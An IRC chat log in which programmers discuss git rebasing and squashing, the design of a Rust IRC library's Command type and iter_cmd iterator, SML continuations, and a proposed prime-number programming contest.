[2015-02-23T14:53:20-0500] <+awe> You won't need a new PR. It'll update the existing one.
[2015-02-23T14:53:29-0500] <Fill> ok, one second then
[2015-02-23T14:55:27-0500] <+awe> Fill: also some general advice, to avoid making those "Merge remote-tracking branch 'upstream/master'" commits, when you git pull, always do --rebase.
[2015-02-23T14:55:45-0500] <Fill> awe: so, the editor now asks me about which commits to pick, which to squash. I suppose I want to pick the first one, and then squash the subsequent ones? It says: "squash = use commit, but meld into previous commit"
[2015-02-23T14:55:51-0500] <+awe> Yes.
[2015-02-23T14:55:53-0500] <+awe> That's correct.
[2015-02-23T14:56:03-0500] <+awe> And then it'll give you the option at the end to set the commit message.
[2015-02-23T14:56:22-0500] <+awe> Please give it one commit message, and not a 5 line commit message of all of the squashed commits (that's the default).
[2015-02-23T14:57:05-0500] <apothy> JacobEdelman_: had one line commit messages. His must be great :P
[2015-02-23T14:57:17-0500] <apothy> Especially the ones at PennApps at night.
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[2015-02-23T14:58:20-0500] <+awe> JacobEdelman_'s commits are awful.
[2015-02-23T14:58:34-0500] <+awe> So are Lauren's.
[2015-02-23T14:58:35-0500] <+awe> https://github.com/laurpep/portfolio/commits/gh-pages
[2015-02-23T14:58:44-0500] <+awe> Assuming you go back to when she actually wrote them.
[2015-02-23T15:00:58-0500] <apothy> I find JacobEdelman_ 's commits more entertaining.
[2015-02-23T15:01:04-0500] <Fill> awe: ok, I think it's squashed now. The PR was updated. Can you please clarify on -f argument to git push? I know it means "force", but I'm not sure why it was needed in this case. I never use it
[2015-02-23T15:01:07-0500] <+awe> Fill: Bah, you killed two of my commits.
[2015-02-23T15:01:18-0500] <Fill> huh
[2015-02-23T15:01:23-0500] <+awe> Look at your history versus mine.
[2015-02-23T15:01:47-0500] <+awe> Fill: try uhh... git pull --rebase upstream
[2015-02-23T15:02:06-0500] <Fill> oh, the preludes!
[2015-02-23T15:02:09-0500] <+awe> Yeah.
[2015-02-23T15:02:20-0500] <+awe> The reason you needed the force flag is because you were overwriting history.
[2015-02-23T15:02:28-0500] <+awe> Git requires you to be explicit when you're overwriting things.
[2015-02-23T15:02:46-0500] <+awe> So, squashing a commit means deleting existing commits and replacing them with a new commit.
[2015-02-23T15:02:51-0500] <+awe> So, you changed history.
[2015-02-23T15:03:00-0500] <+awe> In order to push that remotely, you have to tell git that you mean to do it.
[2015-02-23T15:03:24-0500] <+awe> Fill: but yeah, I think git pull --rebase upstream and then git push -f again should do it.
[2015-02-23T15:03:59-0500] <+awe> Yup, perfect.
[2015-02-23T15:04:32-0500] <Fill> ok, I think it's good now
[2015-02-23T15:04:36-0500] <+awe> Yeah, it is.
[2015-02-23T15:05:44-0500] <Fill> awe: thanks. Feel free to correct / give me advice about git. I'm definitely not a pro git user
[2015-02-23T15:06:02-0500] <+awe> Yeah, no worries. I mean, you learn by running into a need for it.
[2015-02-23T15:06:25-0500] <Hyper> awe: I signed up for the waitlist awhile ago
[2015-02-23T15:06:30-0500] <Hyper> still nothing :(
[2015-02-23T15:06:31-0500] <+awe> I didn't learn about squashing commits until I made some contributions to projects and the people making them asked me to.
[2015-02-23T15:06:41-0500] <+awe> Hyper: Did you get an email from their waiting list?
[2015-02-23T15:06:45-0500] <Hyper> nop
[2015-02-23T15:06:49-0500] <Fill> soon I'll make a PR with iter_cmd() - our original goal
[2015-02-23T15:06:50-0500] <Hyper> erm
[2015-02-23T15:06:51-0500] <+awe> Erm, news list thing I mean.
[2015-02-23T15:06:52-0500] <Hyper> lemme check
[2015-02-23T15:07:02-0500] <Hyper> nope
[2015-02-23T15:07:05-0500] <+awe> The sign up for more information.
[2015-02-23T15:07:15-0500] <+awe> Because I think I had signed up to tell everyone here about it, but never got an email.
[2015-02-23T15:07:33-0500] <Hyper> don't see it anywhere :(
[2015-02-23T15:08:53-0500] <Hyper> :/
[2015-02-23T15:09:40-0500] <+awe> Well, hopefully everybody will get in and it won't be a problem.
[2015-02-23T15:09:44-0500] <+awe> I kind of find it hard to believe that the filled up.
[2015-02-23T15:09:49-0500] <+awe> they*
[2015-02-23T15:10:17-0500] <Hyper> well just signed up with my school email just in case :)
[2015-02-23T15:13:58-0500] <+awe> Fill: isn't Command horrible though?
[2015-02-23T15:14:01-0500] <+awe> the actual code.
[2015-02-23T15:15:35-0500] <Fill> lol
[2015-02-23T15:16:03-0500] <Fill> kind of. In C++ I would have use inheritance + polymorphic calls. But I'm not sure if you'd follow the same pattern in Rust
[2015-02-23T15:16:38-0500] <JacobEdelman_> awe: those commit messages are the ones github makes when you edit the files using their site
[2015-02-23T15:16:42-0500] <JacobEdelman_> the ones lauren had
[2015-02-23T15:16:45-0500] <+awe> JacobEdelman_: look earlier
[2015-02-23T15:16:49-0500] <+awe> JacobEdelman: she has some really bad ones.
[2015-02-23T15:16:52-0500] <+awe> JacobEdelman_: like "stufF'
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[2015-02-23T15:17:11-0500] <JacobEdelman_> ah
[2015-02-23T15:17:14-0500] <JacobEdelman_> I see them
[2015-02-23T15:17:18-0500] <JacobEdelman_> not as awe-some as mine
[2015-02-23T15:17:43-0500] <+awe> Fill: I feel like there has to be _some_ way to do the conversions nicer.
[2015-02-23T15:17:51-0500] <+awe> Fill: especially the one from_message.
[2015-02-23T15:17:55-0500] <+awe> Fill: to_message isn't terrible.
[2015-02-23T15:19:36-0500] <Fill> awe: perhaps. I can try and do some research on Rust OO patterns to see if there is a more idiomatic / Rustacean way to do it. But I think that first we could add iter_cmd(), because now we don't have the lifetime restriction in Command anymore
[2015-02-23T15:19:46-0500] <Fill> then maybe if we find a better design for that code, we change it
[2015-02-23T15:19:58-0500] <+awe> I think the answer is going to be some macro hacks.
[2015-02-23T15:19:59-0500] <Fill> it doesn't matter for iter_cmd() anyway; that is abstracted
[2015-02-23T15:20:01-0500] <+awe> But yeah, do iter_cmd() first
[2015-02-23T15:20:24-0500] <Fill> maybe macros, I don't know, we have to investigate
[2015-02-23T15:20:31-0500] <Fill> right now my mindset is really tied to C++ lol
[2015-02-23T15:20:48-0500] <Fill> I can only think "if I made this a generic class, and a generic method to convert to Command"
[2015-02-23T15:20:49-0500] <Fill> lol
[2015-02-23T15:21:14-0500] <Fill> but afaik Rust doesn't really have polymorphism
[2015-02-23T15:21:17-0500] <+awe> Nope.
[2015-02-23T15:21:29-0500] <+awe> Traits instead.
[2015-02-23T15:30:25-0500] <+awe> Fill: iter_cmd() should probably be a simple iter().and_then(|m| Command::from_message(m))
[2015-02-23T15:31:58-0500] <+awe> erm
[2015-02-23T15:32:23-0500] <+awe> iter().map(|r| r.and_then(|m| Command::from_message(m)))
[2015-02-23T15:32:25-0500] <+awe> Probably.
[2015-02-23T15:32:26-0500] <Fill> awe: I don't think and_then() is implemented for iter
[2015-02-23T15:32:29-0500] <Fill> yeah, you mean map
[2015-02-23T15:35:10-0500] <Fill> awe: so, now I did git fetch upstream
[2015-02-23T15:35:16-0500] <Fill> instead of merge, I do rebase?
[2015-02-23T15:35:21-0500] <+awe> huh?
[2015-02-23T15:35:29-0500] <+awe> I would just do git pull --rebase upstream
[2015-02-23T15:35:41-0500] <Fill> ah
[2015-02-23T15:36:25-0500] <+awe> or just git pull -r upstream
[2015-02-23T15:36:58-0500] <+awe> "When true, rebase the current branch on top of the upstream branch
[2015-02-23T15:36:58-0500] <+awe>            after fetching. If there is a remote-tracking branch corresponding
[2015-02-23T15:36:58-0500] <+awe>            to the upstream branch and the upstream branch was rebased since
[2015-02-23T15:36:58-0500] <+awe>            last fetched, the rebase uses that information to avoid rebasing
[2015-02-23T15:36:58-0500] <+awe>            non-local changes."
[2015-02-23T15:38:48-0500] <Fill> nice
[2015-02-23T15:45:03-0500] <grantwu> grumble grumble
[2015-02-23T15:45:13-0500] <grantwu> if everyone has a first language then mine will be C
[2015-02-23T15:45:18-0500] <grantwu> that's not good
[2015-02-23T15:45:57-0500] <+awe> grantwu: wat?
[2015-02-23T15:48:13-0500] <+awe> grantwu: My first language was C++.
[2015-02-23T15:59:44-0500] <grantwu> Well I mean
[2015-02-23T15:59:52-0500] <grantwu> That's the language we used in the first class I took here :P
[2015-02-23T16:00:32-0500] <+awe> The first language in the first class I took here was Java.
[2015-02-23T16:00:39-0500] <+awe> Then C, and the next language I'll have is Scala.
[2015-02-23T16:06:49-0500] <Fill> awe: ok, I'm adding iter_cmd(), and it seems to be running smoothly so far except for this:
[2015-02-23T16:06:51-0500] <Fill> src/client/server/mod.rs:271:1: 272:82 warning: trait bounds are not (yet) enforced in type definitions [E0122]
[2015-02-23T16:06:51-0500] <Fill> src/client/server/mod.rs:271 pub type ServerCmdIterator<'a, T: IrcReader, U: IrcWriter> =
[2015-02-23T16:06:51-0500] <Fill> src/client/server/mod.rs:272     Map<ServerIterator<'a, T, U>, FnMut(IoResult<Message>) -> IoResult<Command>>;
[2015-02-23T16:07:04-0500] <Fill> it's a warning though, I don't know if there's much we can do about it
[2015-02-23T16:07:27-0500] <Fill> oops, brb, I'll be back in roughly 30 mins
[2015-02-23T16:08:28-0500] <+awe> just do uhh
[2015-02-23T16:08:34-0500] <+awe> pub type ServerCmdIterator<'a, T, U> = ...
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[2015-02-23T16:54:05-0500] <JacobEdelman_> grantwu: for a lot of people there "first language" isn't the language that comes natrually to them
[2015-02-23T16:54:06-0500] <JacobEdelman_> I mean
[2015-02-23T16:54:24-0500] <JacobEdelman_> awe is definitely not happiest programming in java
[2015-02-23T16:54:34-0500] <+awe> Java wasn't my first language.
[2015-02-23T16:54:38-0500] <+awe> Go read.
[2015-02-23T17:26:53-0500] <JacobEdelman_> oh well
[2015-02-23T17:27:02-0500] <JacobEdelman_> umm
[2015-02-23T17:27:04-0500] <JacobEdelman_> usaco
[2015-02-23T17:27:40-0500] <Fill> awe: Hum. So I wrote this test for iter_cmd(): http://pastebin.com/eqX9NWxH - Interesting fact, the assert_eq!() panicks because the conversion from a Message to Command in the case of JOIN drops the Message prefix. So, while we have :test!test@test JOIN #test in the original string of messages, the Message -> Command -> Message -> str conversion loses the prefix somewhere in between
[2015-02-23T17:27:55-0500] <Fill> so, I went ahead and dig a little 
[2015-02-23T17:28:14-0500] <Fill> and Command::from_message() never uses m.prefix() to build Command
[2015-02-23T17:28:35-0500] <Fill> and as a consequence, Command::to_message() always creates Messages with prefix set to None
[2015-02-23T17:28:39-0500] <Fill> is that desirable?
[2015-02-23T17:29:02-0500] <Fill> * panics
[2015-02-23T17:29:03-0500] <Fill> lol
[2015-02-23T17:29:55-0500] <Fill> I mean, semantically, it would make sense that converting back and forth always yielded the same results
[2015-02-23T17:40:00-0500] <+awe> Fill: desirable, maybe not.
[2015-02-23T17:40:13-0500] <+awe> Fill: but I knew that Commands don't keep track of prefixes.
[2015-02-23T17:42:34-0500] <Fill> any special reason for that?
[2015-02-23T17:43:06-0500] <+awe> Well, previously, they couldn't own data and therefore, you always had to have a message around to have a command.
[2015-02-23T17:45:29-0500] <+awe> Command is also just a giant mess and I didn't want to add more data to it.
[2015-02-23T17:51:20-0500] <+awe> Fill: Potential courses of action are: 1) Make Commands all hold a prefix by adding them to the enum. 2) Redesign Commands entirely (maybe make them a struct + enum?) to hold prefixes. 3) Have the iterator yield (String, Command) or 4) Leave it for now.
[2015-02-23T17:51:37-0500] <+awe> Interestingly, #2 could have some neat implications.
[2015-02-23T17:52:41-0500] <+awe> struct Command { message: Message, detail: CommandDetail }
[2015-02-23T17:52:56-0500] <+awe> to_message is now as simple as returning a clone of the message.
[2015-02-23T17:54:20-0500] <+awe> from_message involves cloning the message (or we can just take ownership of the message, that's probably fine, too) and then making a command detail out of it as we did before.
[2015-02-23T17:57:06-0500] <Fill> awe: what exactly is CommandDetail?
[2015-02-23T17:57:12-0500] <Fill> an enum like we have now?
[2015-02-23T17:57:14-0500] <+awe> Yeah.
[2015-02-23T17:57:29-0500] <Fill> so why store the enum and the message?
[2015-02-23T17:57:29-0500] <+awe> But like the one before you made the ownership changes.
[2015-02-23T17:57:34-0500] <Fill> aaaaaaaaaah
[2015-02-23T17:58:38-0500] <+awe> It allows you to have all the access to the message data, to convert to a message more easily, and still very easily pattern match on the command itself.
[2015-02-23T17:59:41-0500] <Fill> awe: What about the iterators? Would we keep a separate iter() and iter_cmd()? Or we forget about iter_cmd() and make iter() return that struct?
[2015-02-23T17:59:59-0500] <+awe> I'd say probably still provide both.
[2015-02-23T18:02:04-0500] <Fill> ok, so how about this: I do some ugly hack to have the test pass. Like, change the expected string message in assert, and we push iter_cmd() into the library officially. Then over the next days we redesign Command. Or would you rather have the entire Command redesign done before making iter_cmd() public?
[2015-02-23T18:02:17-0500] <Fill> well, if we're to keep both, I think there's no harm in publishing it
[2015-02-23T18:02:24-0500] <+awe> No, I'd rather iter_cmd() first and then redesign Command.
[2015-02-23T18:02:31-0500] <+awe> I'd rather good first and then better. :p
[2015-02-23T18:02:32-0500] <Fill> yeah, me too
[2015-02-23T18:02:40-0500] <+awe> I'm not one for delaying things to get something perfect.
[2015-02-23T18:02:56-0500] <Fill> me neither. because you never get it perfect :p
[2015-02-23T18:03:02-0500] <Fill> there's always something else
[2015-02-23T18:03:47-0500] <+awe> Yeah, I'd just say remove sources from the text.
[2015-02-23T18:03:56-0500] <+awe> sources/prefixes.
[2015-02-23T18:04:15-0500] <Fill> yep
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[2015-02-23T18:28:41-0500] <Fill> hah
[2015-02-23T18:28:44-0500] <Fill> :Ping.MindForge.org CAP * ACK :multi-prefix
[2015-02-23T18:29:08-0500] <Fill> Message to Command yields an Err() on this one
[2015-02-23T18:36:55-0500] <+awe> Yup.
[2015-02-23T18:37:04-0500] <+awe> Did you see the stability not on CAP?
[2015-02-23T18:37:09-0500] <+awe> note*
[2015-02-23T18:42:22-0500] <Fill> I did
[2015-02-23T18:43:32-0500] <+awe> That's why. :)
[2015-02-23T18:46:24-0500] <+awe> Fill: We can fix it at some point. It's not a huge deal.
[2015-02-23T18:47:59-0500] <Fill> sure
[2015-02-23T18:48:43-0500] <Fill> awe: how about I create an issue on GH so we don't forget about these details. One issue for Command refactoring into struct, and another for fixing CAP msg parsing
[2015-02-23T18:48:58-0500] <+awe> Yeah, sure.
[2015-02-23T18:49:06-0500] <+awe> Or I can, if you'd prefer.
[2015-02-23T18:49:09-0500] <+awe> Either way is fine.
[2015-02-23T18:52:08-0500] <Fill> awe: please do. It's getting late here and I have lectures early tomorrow. I'm just finishing my tests to submit the PR for iter_cmd
[2015-02-23T18:52:15-0500] <+awe> Yeah, sure thing.
[2015-02-23T19:05:48-0500] <+awe> Fill: looks good, will probably merge after dinner.
[2015-02-23T19:06:58-0500] <Fill> awe: sure, take your time
[2015-02-23T19:07:15-0500] <Fill> I'm off to ZzZ now, it's midnight here. See ya around.
[2015-02-23T19:09:16-0500] <JacobEdelman_> USACO HARD!
[2015-02-23T20:13:03-0500] <grantwu> continuations
[2015-02-23T20:13:05-0500] <grantwu> crie
[2015-02-23T20:18:44-0500] <JacobEdelman_> nezorg: you better beat Algorthimic armidallos for sctf
[2015-02-23T20:18:53-0500] <JacobEdelman_> they are from our rival school
[2015-02-23T20:18:58-0500] <JacobEdelman_> and I dislike there team
[2015-02-23T20:19:06-0500] <JacobEdelman_> due to previous comeptitions where they have cheated
[2015-02-23T20:29:44-0500] <grantwu> Continuations are hard
[2015-02-23T20:29:54-0500] <hardmath123> Continuations are awesome.
[2015-02-23T20:30:02-0500] <grantwu>  /whine
[2015-02-23T20:30:17-0500] <hardmath123> Continuations let you make try/catch yourself.
[2015-02-23T20:30:33-0500] <grantwu> Yes, I know.
[2015-02-23T20:30:40-0500] <grantwu> That's my homework...
[2015-02-23T20:31:10-0500] <hardmath123> Oh, I have the answer if you want.
[2015-02-23T20:31:19-0500] <hardmath123> But you should do it yourself.
[2015-02-23T20:31:22-0500] <hardmath123> It's very enlightening.
[2015-02-23T20:31:30-0500] <grantwu> Er
[2015-02-23T20:31:33-0500] <grantwu> It's not exactly that
[2015-02-23T20:31:56-0500] <grantwu> It's not explicitly "implement try/catch"
[2015-02-23T20:32:15-0500] <hardmath123> Oh.
[2015-02-23T20:32:20-0500] <hardmath123> Scheme, right?
[2015-02-23T20:32:24-0500] <grantwu> SML
[2015-02-23T20:32:47-0500] <grantwu> shhh let me struggle alone
[2015-02-23T20:33:31-0500] <JacobEdelman_> I wanna do it
[2015-02-23T20:33:35-0500] <JacobEdelman_> pdf?
[2015-02-23T20:33:37-0500] <grantwu> come to CMU and do it
[2015-02-23T20:33:49-0500] <hardmath123> meh
[2015-02-23T20:34:05-0500] <JacobEdelman_> hardmath123: pdf?
[2015-02-23T20:34:32-0500] <hardmath123> JacobEdelman_: of what?
[2015-02-23T20:34:55-0500] <JacobEdelman_> whatever cool enlightneing continuation thing you are talking about
[2015-02-23T20:35:05-0500] <grantwu> Just google "continuation passing style"
[2015-02-23T20:35:15-0500] <grantwu> But no, I can't actually give you my problem set
[2015-02-23T20:36:20-0500] <JacobEdelman_> grantwu: they rejected my application for for proffership
[2015-02-23T20:36:28-0500] <JacobEdelman_> *professorship 
[2015-02-23T20:37:15-0500] <grantwu> ...
[2015-02-23T20:37:37-0500] <grantwu> You're a sophomore right
[2015-02-23T20:37:44-0500] <grantwu> Or are you a junior
[2015-02-23T20:37:48-0500] <grantwu> no I think you're a junior
[2015-02-23T20:37:50-0500] <grantwu> I forget
[2015-02-23T20:41:53-0500] <hardmath123> JacobEdelman_: go invent try/catch using scheme's call-with-current-continuation form.
[2015-02-23T20:42:05-0500] <hardmath123> JacobEdelman_: go learn all necessary concepts needed to solve the above problem.
[2015-02-23T20:42:21-0500] <hardmath123> JacobEdelman_: go think about how continuations might be implemented
[2015-02-23T20:42:27-0500] <hardmath123> JacobEdelman_: then you shall be enlightened.
[2015-02-23T20:43:22-0500] <JacobEdelman_> fine
[2015-02-23T20:43:29-0500] <JacobEdelman_> grantwu: I'm a junior
[2015-02-23T20:48:46-0500] <grantwu> are you thinking of applying here next year?
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[2015-02-23T21:03:21-0500] <JacobEdelman_> yup
[2015-02-23T21:03:24-0500] <JacobEdelman_> its on my list
[2015-02-23T21:03:32-0500] <+alokpathy> I'm not sure if I'll apply.
[2015-02-23T21:03:42-0500] <JacobEdelman_> ... you already did :P
[2015-02-23T21:03:48-0500] <+alokpathy> No I didn't.
[2015-02-23T21:03:51-0500] <+alokpathy> apothy did.
[2015-02-23T21:03:55-0500] <JacobEdelman_> ...
[2015-02-23T21:03:56-0500] <JacobEdelman_> :P
[2015-02-23T21:04:02-0500] <+alokpathy> I'm a freshman.
[2015-02-23T21:04:27-0500] <hardmath123> You are?
[2015-02-23T21:04:28-0500] <hardmath123> O_o
[2015-02-23T21:04:33-0500] <JacobEdelman_> no
[2015-02-23T21:04:34-0500] <hardmath123> Wait you aren't.
[2015-02-23T21:04:35-0500] <JacobEdelman_> he's not
[2015-02-23T21:04:36-0500] <hardmath123> ^^
[2015-02-23T21:04:37-0500] <JacobEdelman_> he's a senior
[2015-02-23T21:04:38-0500] <JacobEdelman_> :P
[2015-02-23T21:04:40-0500] <hardmath123> So confused.
[2015-02-23T21:04:44-0500] <+alokpathy> hardmath123: I'm a freshman.
[2015-02-23T21:04:52-0500] <+alokpathy> hardmath123: JacobEdelman_ is lying.
[2015-02-23T21:04:53-0500] <JacobEdelman_> alokpathy gets more troll-ish
[2015-02-23T21:04:55-0500] <JacobEdelman_> the later it gets
[2015-02-23T21:05:35-0500] <hardmath123> freshman... at college.
[2015-02-23T21:05:44-0500] <+alokpathy> High school.
[2015-02-23T21:07:12-0500] <+alokpathy> hardmath123: Fine, you got me.
[2015-02-23T21:07:19-0500] <+alokpathy> I'm a senior in HS.
[2015-02-23T21:07:34-0500] <+alokpathy> JacobEdelman_: Ezra hasn't been on here in a while.
[2015-02-23T21:07:40-0500] <+alokpathy> JacobEdelman_: Yell at him to come back.
[2015-02-23T21:12:14-0500] <grantwu> fun L o l = l o l
[2015-02-23T21:12:21-0500] <grantwu> is valid and well-typed in SML bahahah
[2015-02-23T21:13:16-0500] <assface> joke languages
[2015-02-23T21:13:25-0500] <grantwu> waowaow
[2015-02-23T21:13:33-0500] <assface> javascript
[2015-02-23T21:13:42-0500] <assface> (and most derivatives)
[2015-02-23T21:13:46-0500] <grantwu> wat
[2015-02-23T21:13:55-0500] <grantwu> what does this have to do with javascript
[2015-02-23T21:14:07-0500] <assface> it has stupid typing too
[2015-02-23T21:14:53-0500] <grantwu> SML is strongly typed...
[2015-02-23T21:17:48-0500] <JacobEdelman_> I think you mean stupidly typed
[2015-02-23T21:17:54-0500] <assface> obviously
[2015-02-23T21:17:59-0500] <+awe> No, SML is not stupidly typed.
[2015-02-23T21:18:10-0500] <assface> (idk even what SML is)
[2015-02-23T21:18:10-0500] <grantwu> Well if strong typing is stupid... and dynamic typing is stupid...
[2015-02-23T21:18:11-0500] <+awe> JS is stupidly typed.
[2015-02-23T21:18:12-0500] <grantwu> AHA
[2015-02-23T21:18:16-0500] <grantwu> CLEARLY TYPING IS STUPID
[2015-02-23T21:18:19-0500] <assface> ^
[2015-02-23T21:18:20-0500] <grantwu> LET'S ALL WRITE IN C
[2015-02-23T21:18:24-0500] <assface> ^^^
[2015-02-23T21:18:55-0500] <grantwu> C doesn't have a bad type system.  It doesn't have a type system at all!
[2015-02-23T21:19:54-0500] <assface> why use types when you have sizeof()?
[2015-02-23T21:20:46-0500] <+awe> assface: lol
[2015-02-23T21:21:35-0500] <grantwu> Typing *is* stupid.  We should all code with handwriting recognition instead.
[2015-02-23T21:23:26-0500] <+awe> grantwu: who writes the OCR/
[2015-02-23T21:23:27-0500] <+awe> ?
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[2015-02-23T21:24:03-0500] <hardmath123> voice recognition, yo
[2015-02-23T21:24:47-0500] <grantwu> Exactly!
[2015-02-23T21:24:50-0500] <grantwu> huehuehue
[2015-02-23T21:24:56-0500] <grantwu> awe I think I forgot a /s
[2015-02-23T21:25:10-0500] <assface> if you you also forgot your <s>
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[2015-02-23T21:25:17-0500] <hardmath123> "Siri, var hi equals open quote hello close quote semicolon newline console dot log open paren hi close paren semicolon newline"
[2015-02-23T21:25:38-0500] <assface> oh gawd
[2015-02-23T21:25:50-0500] <assface> i hope I will always be able to use good ol' vim and C
[2015-02-23T21:26:14-0500] <assface> because that and shmancy graphical programming sounds terrible
[2015-02-23T21:26:28-0500] <grantwu> You'll be able to use vim motions to move code blocks around for graphical programming!
[2015-02-23T21:26:52-0500] <assface> pls no ;-;
[2015-02-23T21:27:02-0500] <grantwu> bahahahahahahahhahahahahhahaahhahhahhahahhahahaha
[2015-02-23T21:27:48-0500] <hardmath123> hey graphical programming needs respect
[2015-02-23T21:28:11-0500] <assface> no it doesnt
[2015-02-23T21:28:35-0500] <assface> unless you mean it doesn't have any
[2015-02-23T21:28:41-0500] <assface> in which case i certainly hope so
[2015-02-23T21:30:51-0500] <adunna> When asked what your favorite text editor is
[2015-02-23T21:30:53-0500] <adunna> Always say nova
[2015-02-23T21:30:59-0500] <JacobEdelman_> hardmath123 helped develop scratch
[2015-02-23T21:31:20-0500] <adunna> ...
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[2015-02-23T21:31:33-0500] <adunna> I took a summer class called "Programming From Scratch"
[2015-02-23T21:31:36-0500] <adunna> Turns out
[2015-02-23T21:31:41-0500] <adunna> It was using the program scratch
[2015-02-23T21:31:46-0500] <assface> lol
[2015-02-23T21:31:46-0500] <adunna> Not programming _from_ scratch
[2015-02-23T21:31:58-0500] <assface> you expected C and ASM, correct?
[2015-02-23T21:33:21-0500] <hardmath123> adunna: ha, i taught a course called that once.
[2015-02-23T21:34:29-0500] <JacobEdelman_> also
[2015-02-23T21:34:36-0500] <JacobEdelman_> hardmath123, Tamini: apply to Pact!
[2015-02-23T21:34:50-0500] <adunna> I expected C, that was the most poorly named course considering it was from and not in
[2015-02-23T21:44:41-0500] <Hyper> so would y'all be interested in a pdgn programming competition? It'd probably be something like "Given an n as an argument to your program, compute and print the nth prime, fastest time wins" (at least as a nice first one)
[2015-02-23T21:45:09-0500] <Hyper> a teacher of mine in high school did that and we had a lot of fun with it
[2015-02-23T21:45:30-0500] <grantwu> code golf is 3hard5me
[2015-02-23T21:45:49-0500] <Hyper> it's not golf as much as performance tuning lol
[2015-02-23T21:45:55-0500] <grantwu> meh
[2015-02-23T21:45:57-0500] <grantwu> true
[2015-02-23T21:46:13-0500] <grantwu> It would really boil down to whoever is most willing to use FFTs I think
[2015-02-23T21:46:29-0500] <Hyper> you can do nth primes with ffts?
[2015-02-23T21:46:33-0500] <grantwu> idk
[2015-02-23T21:46:35-0500] <grantwu> can you?
[2015-02-23T21:46:53-0500] <Hyper> it doesn't sound like they have anything to do with each other lol
[2015-02-23T21:46:57-0500] <grantwu> http://en.wikipedia.org/wiki/Prime95 seems like it
[2015-02-23T21:47:07-0500] <grantwu> You can use FFTs to do integer multiplication lol
[2015-02-23T21:48:32-0500] <Hyper> waat
[2015-02-23T21:49:02-0500] <grantwu> Schönhage–Strassen algorithm
[2015-02-23T21:49:07-0500] <Hyper> yeah i'm reading it now
[2015-02-23T21:50:43-0500] <+alokpathy> Hyper: Yes <3
[2015-02-23T21:50:51-0500] <Hyper> ok that's 1 yes
[2015-02-23T21:50:52-0500] <grantwu> I have no idea how FFTs work fyi
[2015-02-23T21:51:04-0500] <Hyper> grantwu: magic and bunny tears
[2015-02-23T21:51:17-0500] <Hyper> at least that's how I understand it :P
[2015-02-23T21:51:25-0500] <+alokpathy> And Irish potatoes.
[2015-02-23T21:51:27-0500] <+alokpathy> That's an important part.
[2015-02-23T21:51:55-0500] <Hyper> all imaginary things ( ͡° ͜ʖ ͡°)
[2015-02-23T21:53:22-0500] <+ubuntor> sounds... complex
[2015-02-23T21:53:56-0500] <Hyper> well yeah the hard part is harvesting the bunny tears
[2015-02-23T21:54:06-0500] <grantwu> we have bunnies at CMU.
[2015-02-23T21:54:46-0500] <Hyper> that must be where you get your FFT fuel
[2015-02-23T21:55:20-0500] <grantwu> indeed
[2015-02-23T21:56:09-0500] <Hyper> grantwu: i'd like to note that FFT-based stuff won't give much of an advantage for reasonable n's, which we'd certainly be using :P
[2015-02-23T21:56:31-0500] <grantwu> :C
[2015-02-23T21:56:35-0500] <Hyper> The GNU Multi-Precision Library uses it for values of at least 1728 to 7808 64-bit words (33,000 to 150,000 decimal digits)
[2015-02-23T21:56:44-0500] <grantwu> Yah
[2015-02-23T21:56:44-0500] <Hyper> from the wikipedia article for the algo
[2015-02-23T21:56:55-0500] <grantwu> What do you mean we won't be working with 100k digits
[2015-02-23T21:57:03-0500] <Hyper> sorry to disappoint
[2015-02-23T21:57:11-0500] <grantwu> ;-;
[2015-02-23T21:57:23-0500] <hardmath123> Yo, anyone know how to register a team on ctftime.org?
[2015-02-23T21:57:36-0500] <Hyper> I think the values we'd be working with would be safely within 32 bits
[2015-02-23T21:58:16-0500] <Hyper> (there'd also be rules against precomputing values, etc)
[2015-02-23T22:02:40-0500] <assface> erasthone's seive, here I come!
[2015-02-23T22:02:51-0500] <hardmath123> #memoization
[2015-02-23T22:02:58-0500] <grantwu> I can't tell if that spelling is intentional
[2015-02-23T22:03:04-0500] <hardmath123> it is
[2015-02-23T22:03:18-0500] <hardmath123> memoize is the thing where you maintain a cache of intermediate result
[2015-02-23T22:03:20-0500] <hardmath123> -s
[2015-02-23T22:03:22-0500] <grantwu> no
[2015-02-23T22:03:26-0500] <grantwu> erasthone's seive
[2015-02-23T22:03:37-0500] <assface> uh
[2015-02-23T22:03:39-0500] <grantwu> memoization is perfectly correct
[2015-02-23T22:03:40-0500] <assface> no
[2015-02-23T22:03:52-0500] <assface> im pretty sure its spelled wrong but idk the correct spelling
[2015-02-23T22:04:05-0500] <grantwu> Eratosthenes' sieve
[2015-02-23T22:04:07-0500] <grantwu> I googled
[2015-02-23T22:04:53-0500] <assface> yeah that thing
[2015-02-23T22:05:57-0500] <+awe> Hyper: I don't think calculating primes would be fair to anyone that isn't me, you, or hardmath123.
[2015-02-23T22:06:00-0500] <+awe> erm
[2015-02-23T22:06:06-0500] <+awe> Hyper: me you, or bob_twinkles rather.
[2015-02-23T22:06:10-0500] <hardmath123> oh wow
[2015-02-23T22:06:12-0500] <hardmath123> that's harsh
[2015-02-23T22:06:23-0500] <Hyper> awe: what's a good idea for a competition then?
[2015-02-23T22:06:27-0500] <+awe> I think we all know how to write a sieve.
[2015-02-23T22:06:40-0500] <+awe> Therefore, the fastest implementation would be one of the ones written by the only systems programmers in the group.
[2015-02-23T22:06:45-0500] <Hyper> fair enough
[2015-02-23T22:06:49-0500] <assface> me?
[2015-02-23T22:06:55-0500] <+awe> assface: do you systems program?
[2015-02-23T22:07:04-0500] <Hyper> so what would be a good challenge that is fun for people?
[2015-02-23T22:07:08-0500] <+awe> Hmm.
[2015-02-23T22:07:11-0500] <+awe> Well, it depends.
[2015-02-23T22:07:24-0500] <+awe> Do we want a competition of who can write the best code, or of who can design/google for the best algorithms?
[2015-02-23T22:07:25-0500] <assface> awe: my favorite lang is C and I can do asm, so yes
[2015-02-23T22:07:26-0500] <Hyper> it needs to be "gradable" so it's an actual competition :P
[2015-02-23T22:07:49-0500] <assface> we should do a variant on that competition to make the program that outputs the largest number
[2015-02-23T22:07:51-0500] <+awe> I mean, we can do performance things.
[2015-02-23T22:07:58-0500] <+awe> It's just important to note that it's probably unfair.
[2015-02-23T22:08:06-0500] <+awe> assface: N
[2015-02-23T22:08:12-0500] <+awe> assface: Jacob has too much experience with it.
[2015-02-23T22:08:16-0500] <assface> awwwww
[2015-02-23T22:08:18-0500] <Hyper> lol
[2015-02-23T22:08:29-0500] <+awe> Seriously.
[2015-02-23T22:08:32-0500] <+awe> He does it for fun.
[2015-02-23T22:08:55-0500] <assface> lol
[2015-02-23T22:09:08-0500] <Hyper> well I'm open to suggestions
[2015-02-23T22:09:44-0500] <+awe> I'm okay with performance stuff.
